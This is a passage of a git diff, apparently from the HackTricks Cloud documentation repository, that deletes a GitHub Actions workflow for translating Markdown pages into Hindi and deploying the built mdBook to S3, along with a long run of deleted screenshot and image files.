diff --git a/.github/workflows/translate_in.yml b/.github/workflows/translate_in.yml deleted file mode 100644 index cc0b94560..000000000 --- a/.github/workflows/translate_in.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to IN (Hindi) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: in - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Hindi - BRANCH: in - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/src/images/2023-03-06 17_02_47-.png b/src/images/2023-03-06 17_02_47-.png deleted file mode 100644 index 711d24313..000000000 Binary files a/src/images/2023-03-06 17_02_47-.png and /dev/null differ diff --git a/src/images/2023-03-06 17_11_28-Window.png b/src/images/2023-03-06 17_11_28-Window.png deleted file mode 100644 index 84cc72b5f..000000000 Binary files a/src/images/2023-03-06 17_11_28-Window.png and /dev/null differ diff --git a/src/images/2023-03-06 17_11_43-Window.png b/src/images/2023-03-06 17_11_43-Window.png deleted file mode 100644 index 689516b88..000000000 Binary files a/src/images/2023-03-06 17_11_43-Window.png and /dev/null differ diff --git a/src/images/2023-03-06 17_28_26-Window.png b/src/images/2023-03-06 17_28_26-Window.png deleted file mode 100644 index feaaaf675..000000000 Binary files a/src/images/2023-03-06 17_28_26-Window.png and /dev/null differ diff --git a/src/images/2023-03-06 17_28_50-Window.png b/src/images/2023-03-06 17_28_50-Window.png deleted file mode 100644 index ab396d802..000000000 Binary files a/src/images/2023-03-06 17_28_50-Window.png and /dev/null differ diff --git a/src/images/HT-TRAINING-web-logo.png b/src/images/HT-TRAINING-web-logo.png deleted file mode 100644 index ca084e352..000000000 Binary files a/src/images/HT-TRAINING-web-logo.png and /dev/null differ diff --git a/src/images/Imagen13.png b/src/images/Imagen13.png deleted file mode 100644 index 7c9791ae9..000000000 Binary files a/src/images/Imagen13.png and /dev/null differ diff --git a/src/images/Imagen14.png b/src/images/Imagen14.png deleted file mode 100644 index 939caae41..000000000 Binary files a/src/images/Imagen14.png and /dev/null differ diff --git a/src/images/cloud gif.gif b/src/images/cloud gif.gif deleted file mode 100644 index 3e69ff1f1..000000000 Binary files a/src/images/cloud gif.gif and /dev/null differ diff --git a/src/images/hc (1) (1).png b/src/images/hc (1) (1).png deleted file mode 100644 index 730dde30c..000000000 Binary files a/src/images/hc (1) (1).png and /dev/null differ diff --git a/src/images/hc (1).png b/src/images/hc (1).png deleted file mode 100644 index 07a35d6af..000000000 Binary files a/src/images/hc (1).png and /dev/null differ diff --git a/src/images/hc (2) (1).png b/src/images/hc (2) (1).png deleted file mode 100644 index 3a9c3045c..000000000 Binary files a/src/images/hc (2) (1).png and /dev/null differ diff --git a/src/images/hc (2).png b/src/images/hc (2).png deleted file mode 100644 index 3a9c3045c..000000000 Binary files a/src/images/hc (2).png and /dev/null differ diff --git a/src/images/hc (3).png b/src/images/hc (3).png deleted file mode 100644 index 8a48b72e3..000000000 Binary files a/src/images/hc (3).png and /dev/null differ diff --git a/src/images/hc (4).png b/src/images/hc (4).png deleted file mode 100644 index 07a35d6af..000000000 Binary files a/src/images/hc (4).png and /dev/null differ diff --git a/src/images/hc.jpeg b/src/images/hc.jpeg deleted file mode 100644 index fa8fb47b2..000000000 Binary files a/src/images/hc.jpeg and /dev/null differ diff --git a/src/images/hc.png b/src/images/hc.png deleted file mode 100644 index 07a35d6af..000000000 Binary files a/src/images/hc.png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index d7961cab3..000000000 Binary files a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index ece9585b8..000000000 Binary files a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index 3048b65ef..000000000 Binary files a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index fb52dbc6c..000000000 Binary files a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index ce5079820..000000000 Binary files a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index fb5aa4f77..000000000 Binary files a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index 0f269bd02..000000000 Binary files a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index 66bce8449..000000000 Binary files a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index cf55c03e2..000000000 Binary files a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index 7e59066fb..000000000 Binary files a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index a66b921a1..000000000 Binary files a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index 6e6b14ecd..000000000 Binary files a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index 67281e041..000000000 Binary files a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index 0b0274059..000000000 Binary files a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index f6d47edde..000000000 Binary files a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index e521aaf21..000000000 Binary files a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index 9484a40cb..000000000 Binary files a/src/images/image (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (1) (1).png b/src/images/image (1) (1) (1) (1) (1).png deleted file mode 100644 index ce8af1068..000000000 Binary files a/src/images/image (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (1).png b/src/images/image (1) (1) (1) (1).png deleted file mode 100644 index ce8af1068..000000000 Binary files a/src/images/image (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (2).png b/src/images/image (1) (1) (1) (2).png deleted file mode 100644 index e9b4ade10..000000000 Binary files a/src/images/image (1) (1) (1) (2).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (3) (1) (1).png b/src/images/image (1) (1) (1) (3) (1) (1).png deleted file mode 100644 index e9e6a782a..000000000 Binary files a/src/images/image (1) (1) (1) (3) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (3) (1).png b/src/images/image (1) (1) (1) (3) (1).png deleted file mode 100644 index 43a257562..000000000 Binary files a/src/images/image (1) (1) (1) (3) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (1) (3).png b/src/images/image (1) (1) (1) (3).png deleted file mode 100644 index 7f5e6e6af..000000000 Binary files a/src/images/image (1) (1) (1) (3).png and /dev/null differ diff --git a/src/images/image (1) (1) (2).png b/src/images/image (1) (1) (2).png deleted file mode 100644 index 0371d9f65..000000000 Binary files a/src/images/image (1) (1) (2).png and /dev/null differ diff --git a/src/images/image (1) (1) (3) (1).png b/src/images/image (1) (1) (3) (1).png deleted file mode 100644 index f4d65e631..000000000 Binary files a/src/images/image (1) (1) (3) (1).png and /dev/null differ diff --git a/src/images/image (1) (1) (3).png b/src/images/image (1) (1) (3).png deleted file mode 100644 index abf8597d4..000000000 Binary files a/src/images/image (1) (1) (3).png and /dev/null differ diff --git a/src/images/image (1) (1) (4).png b/src/images/image (1) (1) (4).png deleted file mode 100644 index 8ab9b5f2f..000000000 Binary files a/src/images/image (1) (1) (4).png and /dev/null differ diff --git a/src/images/image (1) (1) (5).png b/src/images/image (1) (1) (5).png deleted file mode 100644 index 9920b8e8a..000000000 Binary files a/src/images/image (1) (1) (5).png and /dev/null differ diff --git a/src/images/image (1) (1) (6).png b/src/images/image (1) (1) (6).png deleted file mode 100644 index 76ea0f310..000000000 Binary files a/src/images/image (1) (1) (6).png and /dev/null differ diff --git a/src/images/image (1) (2) (1) (1).png b/src/images/image (1) (2) (1) (1).png deleted file mode 100644 index d0f51bbfa..000000000 Binary files a/src/images/image (1) (2) (1) (1).png and /dev/null differ diff --git a/src/images/image (1) (2) (1).png b/src/images/image (1) (2) (1).png deleted file mode 100644 index d383c83f4..000000000 Binary files a/src/images/image (1) (2) (1).png and /dev/null differ diff --git a/src/images/image (1) (2) (2).png b/src/images/image (1) (2) (2).png deleted file mode 100644 index 58eaeeb6c..000000000 Binary files a/src/images/image (1) (2) (2).png and /dev/null differ diff --git a/src/images/image (1) (2).png b/src/images/image (1) (2).png deleted file mode 100644 index 594735352..000000000 Binary files a/src/images/image (1) (2).png and /dev/null differ diff --git a/src/images/image (1) (3) (1).png b/src/images/image (1) (3) (1).png deleted file mode 100644 index b4d44cbcb..000000000 Binary files a/src/images/image (1) (3) (1).png and /dev/null differ diff --git a/src/images/image (1) (3).png b/src/images/image (1) (3).png deleted file mode 100644 index 302760b43..000000000 Binary files a/src/images/image (1) (3).png and /dev/null differ diff --git a/src/images/image (1) (4).png b/src/images/image (1) (4).png deleted file mode 100644 index 9a1630183..000000000 Binary files a/src/images/image (1) (4).png and /dev/null differ diff --git a/src/images/image (1) (5).png b/src/images/image (1) (5).png deleted file mode 100644 index 9112fbfb3..000000000 Binary files a/src/images/image (1) (5).png and /dev/null differ diff --git a/src/images/image (1) (6).png b/src/images/image (1) (6).png deleted file mode 100644 index 4b08116d8..000000000 Binary files a/src/images/image (1) (6).png and /dev/null differ diff --git a/src/images/image (1) (7).png b/src/images/image (1) (7).png deleted file mode 100644 index 3830349ac..000000000 Binary files a/src/images/image (1) (7).png and /dev/null differ diff --git a/src/images/image (1) (8).png b/src/images/image (1) (8).png deleted file mode 100644 index bd3a11150..000000000 Binary files a/src/images/image (1) (8).png and /dev/null differ diff --git a/src/images/image (1) (9).png b/src/images/image (1) (9).png deleted file mode 100644 index e3005618e..000000000 Binary files a/src/images/image (1) (9).png and /dev/null differ diff --git a/src/images/image (10) (1) (1) (1) (1).png b/src/images/image (10) (1) (1) (1) (1).png deleted file mode 100644 index 02d0aab5d..000000000 Binary files a/src/images/image (10) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (10) (1) (1) (1).png b/src/images/image (10) (1) (1) (1).png deleted file mode 100644 index 11a4d1d3b..000000000 Binary files a/src/images/image (10) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (10) (1) (1).png b/src/images/image (10) (1) (1).png deleted file mode 100644 index 70a011106..000000000 Binary files a/src/images/image (10) (1) (1).png and /dev/null differ diff --git a/src/images/image (10) (1).png b/src/images/image (10) (1).png deleted file mode 100644 index ec4b3c358..000000000 Binary files a/src/images/image (10) (1).png and /dev/null differ diff --git a/src/images/image (10) (2).png b/src/images/image (10) (2).png deleted file mode 100644 index 0ec903dbf..000000000 Binary files a/src/images/image (10) (2).png and /dev/null differ diff --git a/src/images/image (10) (3).png b/src/images/image (10) (3).png deleted file mode 100644 index 10337014b..000000000 Binary files a/src/images/image (10) (3).png and /dev/null differ diff --git a/src/images/image (10) (4).png b/src/images/image (10) (4).png deleted file mode 100644 index 3fd8c1911..000000000 Binary files a/src/images/image (10) (4).png and /dev/null differ diff --git a/src/images/image (100).png b/src/images/image (100).png deleted file mode 100644 index 45f9a02cf..000000000 Binary files a/src/images/image (100).png and /dev/null differ diff --git a/src/images/image (104).png b/src/images/image (104).png deleted file mode 100644 index 650127f42..000000000 Binary files a/src/images/image (104).png and /dev/null differ diff --git a/src/images/image (105).png b/src/images/image (105).png deleted file mode 100644 index b30720e90..000000000 Binary files a/src/images/image (105).png and /dev/null differ diff --git a/src/images/image (108).png b/src/images/image (108).png deleted file mode 100644 index d47f6dcbb..000000000 Binary files a/src/images/image (108).png and /dev/null differ diff --git a/src/images/image (109).png b/src/images/image (109).png deleted file mode 100644 index 2150062b9..000000000 Binary files a/src/images/image (109).png and /dev/null differ diff --git a/src/images/image (11) (1) (1).png b/src/images/image (11) (1) (1).png deleted file mode 100644 index 45f9a02cf..000000000 Binary files a/src/images/image (11) (1) (1).png and /dev/null differ diff --git a/src/images/image (11) (1) (2) (1).png b/src/images/image (11) (1) (2) (1).png deleted file mode 100644 index 96a5e01d2..000000000 Binary files a/src/images/image (11) (1) (2) (1).png and /dev/null differ diff --git a/src/images/image (11) (1) (2).png b/src/images/image (11) (1) (2).png deleted file mode 100644 index d02c461c7..000000000 Binary files a/src/images/image (11) (1) (2).png and /dev/null differ diff --git a/src/images/image (11) (1).png b/src/images/image (11) (1).png deleted file mode 100644 index e926bb057..000000000 Binary files a/src/images/image (11) (1).png and /dev/null differ diff --git a/src/images/image (11) (2).png b/src/images/image (11) (2).png deleted file mode 100644 index ecc37ab54..000000000 Binary files a/src/images/image (11) (2).png and /dev/null differ diff --git a/src/images/image (11) (3).png b/src/images/image (11) (3).png deleted file mode 100644 index 08d8290b6..000000000 Binary files a/src/images/image (11) (3).png and /dev/null differ diff --git a/src/images/image (11) (4).png b/src/images/image (11) (4).png deleted file mode 100644 index 142046152..000000000 Binary files a/src/images/image (11) (4).png and /dev/null differ diff --git a/src/images/image (110).png b/src/images/image (110).png deleted file mode 100644 index 5c5887e67..000000000 Binary files a/src/images/image (110).png and /dev/null differ diff --git a/src/images/image (111).png b/src/images/image (111).png deleted file mode 100644 index d02adb1bc..000000000 Binary files a/src/images/image (111).png and /dev/null differ diff --git a/src/images/image (112).png b/src/images/image (112).png deleted file mode 100644 index af226cc50..000000000 Binary files a/src/images/image (112).png and /dev/null differ diff --git a/src/images/image (113).png b/src/images/image (113).png deleted file mode 100644 index 40bea6559..000000000 Binary files a/src/images/image (113).png and /dev/null differ diff --git a/src/images/image (114).png b/src/images/image (114).png deleted file mode 100644 index 5c0065e42..000000000 Binary files a/src/images/image (114).png and /dev/null differ diff --git a/src/images/image (115).png b/src/images/image (115).png deleted file mode 100644 index 142046152..000000000 Binary files a/src/images/image (115).png and /dev/null differ diff --git a/src/images/image (116).png b/src/images/image (116).png deleted file mode 100644 index 0371d9f65..000000000 Binary files a/src/images/image (116).png and /dev/null differ diff --git a/src/images/image (119).png b/src/images/image (119).png deleted file mode 100644 index 8e446b9b3..000000000 Binary files a/src/images/image (119).png and /dev/null differ diff --git a/src/images/image (12) (1).png b/src/images/image (12) (1).png deleted file mode 100644 index 4b4a33b31..000000000 Binary files a/src/images/image (12) (1).png and /dev/null differ diff --git a/src/images/image (12) (2).png b/src/images/image (12) (2).png deleted file mode 100644 index d15ef1f36..000000000 Binary files a/src/images/image (12) (2).png and /dev/null differ diff --git a/src/images/image (124).png b/src/images/image (124).png deleted file mode 100644 index 04471fecb..000000000 Binary files a/src/images/image (124).png and /dev/null differ diff --git a/src/images/image (125).png b/src/images/image (125).png deleted file mode 100644 index be66fbaac..000000000 Binary files a/src/images/image (125).png and /dev/null differ diff --git a/src/images/image (13) (1) (1).png b/src/images/image (13) (1) (1).png deleted file mode 100644 index 874bcf60e..000000000 Binary files a/src/images/image (13) (1) (1).png and /dev/null differ diff --git a/src/images/image (13) (1).png b/src/images/image (13) (1).png deleted file mode 100644 index 96c77e4fb..000000000 Binary files a/src/images/image (13) (1).png and /dev/null differ diff --git a/src/images/image (13).png b/src/images/image (13).png deleted file mode 100644 index 9484a40cb..000000000 Binary files a/src/images/image (13).png and /dev/null differ diff --git a/src/images/image (130).png b/src/images/image (130).png deleted file mode 100644 index c57fa4d22..000000000 Binary files a/src/images/image (130).png and /dev/null differ diff --git a/src/images/image (131).png b/src/images/image (131).png deleted file mode 100644 index 1520310fb..000000000 Binary files a/src/images/image (131).png and /dev/null differ diff --git a/src/images/image (132).png b/src/images/image (132).png deleted file mode 100644 index 3fd8c1911..000000000 Binary files a/src/images/image (132).png and /dev/null differ diff --git a/src/images/image (133).png b/src/images/image (133).png deleted file mode 100644 index c933d4692..000000000 Binary files a/src/images/image (133).png and /dev/null differ diff --git a/src/images/image (134).png b/src/images/image (134).png deleted file mode 100644 index 4a58705a1..000000000 Binary files a/src/images/image (134).png and /dev/null differ diff --git a/src/images/image (136).png b/src/images/image (136).png deleted file mode 100644 index 25c46bcdd..000000000 Binary files a/src/images/image (136).png and /dev/null differ diff --git a/src/images/image (137).png b/src/images/image (137).png deleted file mode 100644 index 302760b43..000000000 Binary files a/src/images/image (137).png and /dev/null differ diff --git a/src/images/image (138).png b/src/images/image (138).png deleted file mode 100644 index 2ff67a768..000000000 Binary files a/src/images/image (138).png and /dev/null differ diff --git a/src/images/image (14) (1) (1).png b/src/images/image (14) (1) (1).png deleted file mode 100644 index a6fe9a98a..000000000 Binary files a/src/images/image (14) (1) (1).png and /dev/null differ diff --git a/src/images/image (14) (1).png b/src/images/image (14) (1).png deleted file mode 100644 index 4a58705a1..000000000 Binary files a/src/images/image (14) (1).png and /dev/null differ diff --git a/src/images/image (14) (2).png b/src/images/image (14) (2).png deleted file mode 100644 index afd62117d..000000000 Binary files a/src/images/image (14) (2).png and /dev/null differ diff --git a/src/images/image (141).png b/src/images/image (141).png deleted file mode 100644 index dca476a15..000000000 Binary files a/src/images/image (141).png and /dev/null differ diff --git a/src/images/image (142).png b/src/images/image (142).png deleted file mode 100644 index bd3a11150..000000000 Binary files a/src/images/image (142).png and /dev/null differ diff --git a/src/images/image (148).png b/src/images/image (148).png deleted file mode 100644 index 6c79c8bbc..000000000 Binary files a/src/images/image (148).png and /dev/null differ diff --git a/src/images/image (15) (1) (1).png b/src/images/image (15) (1) (1).png deleted file mode 100644 index 7ba73f8ce..000000000 Binary files a/src/images/image (15) (1) (1).png and /dev/null differ diff --git a/src/images/image (15) (1).png b/src/images/image (15) (1).png deleted file mode 100644 index 78b8cafaf..000000000 Binary files a/src/images/image (15) (1).png and /dev/null differ diff --git a/src/images/image (156).png b/src/images/image (156).png deleted file mode 100644 index cd67779fd..000000000 Binary files a/src/images/image (156).png and /dev/null differ diff --git a/src/images/image (157).png b/src/images/image (157).png deleted file mode 100644 index f4d65e631..000000000 Binary files a/src/images/image (157).png and /dev/null differ diff --git a/src/images/image (158).png b/src/images/image (158).png deleted file mode 100644 index b1bcf6ff9..000000000 Binary files a/src/images/image (158).png and /dev/null differ diff --git a/src/images/image (16) (1).png b/src/images/image (16) (1).png deleted file mode 100644 index de080978a..000000000 Binary files a/src/images/image (16) (1).png and /dev/null differ diff --git a/src/images/image (16) (2).png b/src/images/image (16) (2).png deleted file mode 100644 index 73a0cd8b2..000000000 Binary files a/src/images/image (16) (2).png and /dev/null differ diff --git a/src/images/image (162).png b/src/images/image (162).png deleted file mode 100644 index 9dbeea9fb..000000000 Binary files a/src/images/image (162).png and /dev/null differ diff --git a/src/images/image (163).png b/src/images/image (163).png deleted file mode 100644 index cf8fa7f29..000000000 Binary files a/src/images/image (163).png and /dev/null differ diff --git a/src/images/image (166).png b/src/images/image (166).png deleted file mode 100644 index d0f51bbfa..000000000 Binary files a/src/images/image (166).png and /dev/null differ diff --git a/src/images/image (169).png b/src/images/image (169).png deleted file mode 100644 index dc94fb9a7..000000000 Binary files a/src/images/image (169).png and /dev/null differ diff --git a/src/images/image (17) (1) (1).png b/src/images/image (17) (1) (1).png deleted file mode 100644 index 7f4a7a4fb..000000000 Binary files a/src/images/image (17) (1) (1).png and /dev/null differ diff --git a/src/images/image (17) (1).png b/src/images/image (17) (1).png deleted file mode 100644 index ad1a964b3..000000000 Binary files a/src/images/image (17) (1).png and /dev/null differ diff --git a/src/images/image (17) (2).png b/src/images/image (17) (2).png deleted file mode 100644 index da87a701a..000000000 Binary files a/src/images/image (17) (2).png and /dev/null differ diff --git a/src/images/image (176).png b/src/images/image (176).png deleted file mode 100644 index e9b4ade10..000000000 Binary files a/src/images/image (176).png and /dev/null differ diff --git a/src/images/image (179).png b/src/images/image (179).png deleted file mode 100644 index ae5547955..000000000 Binary files a/src/images/image (179).png and /dev/null differ diff --git a/src/images/image (18) (1) (1).png b/src/images/image (18) (1) (1).png deleted file mode 100644 index 85ac13d8f..000000000 Binary files a/src/images/image (18) (1) (1).png and /dev/null differ diff --git a/src/images/image (18) (1) (2).png b/src/images/image (18) (1) (2).png deleted file mode 100644 index dba69c219..000000000 Binary files a/src/images/image (18) (1) (2).png and /dev/null differ diff --git a/src/images/image (18) (1).png b/src/images/image (18) (1).png deleted file mode 100644 index a8f6e780b..000000000 Binary files a/src/images/image (18) (1).png and /dev/null differ diff --git a/src/images/image (188).png b/src/images/image (188).png deleted file mode 100644 index 45bfa015b..000000000 Binary files a/src/images/image (188).png and /dev/null differ diff --git a/src/images/image (189).png b/src/images/image (189).png deleted file mode 100644 index 8dece9113..000000000 Binary files a/src/images/image (189).png and /dev/null differ diff --git a/src/images/image (19) (1).png b/src/images/image (19) (1).png deleted file mode 100644 index bdc7ceb81..000000000 Binary files a/src/images/image (19) (1).png and /dev/null differ diff --git a/src/images/image (19) (2).png b/src/images/image (19) (2).png deleted file mode 100644 index fd7517654..000000000 Binary files a/src/images/image (19) (2).png and /dev/null differ diff --git a/src/images/image (190).png b/src/images/image (190).png deleted file mode 100644 index 05d5e97a9..000000000 Binary files a/src/images/image (190).png and /dev/null differ diff --git a/src/images/image (192).png b/src/images/image (192).png deleted file mode 100644 index 8d337fe68..000000000 Binary files a/src/images/image (192).png and /dev/null differ diff --git a/src/images/image (196).png b/src/images/image (196).png deleted file mode 100644 index 1a81f9de9..000000000 Binary files a/src/images/image (196).png and /dev/null differ diff --git a/src/images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index 1520310fb..000000000 Binary files a/src/images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index d02adb1bc..000000000 Binary files a/src/images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index 2c1380cee..000000000 Binary files a/src/images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/src/images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png deleted file mode 100644 index d0ab10ede..000000000 Binary files a/src/images/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png and /dev/null differ diff --git a/src/images/image (2) 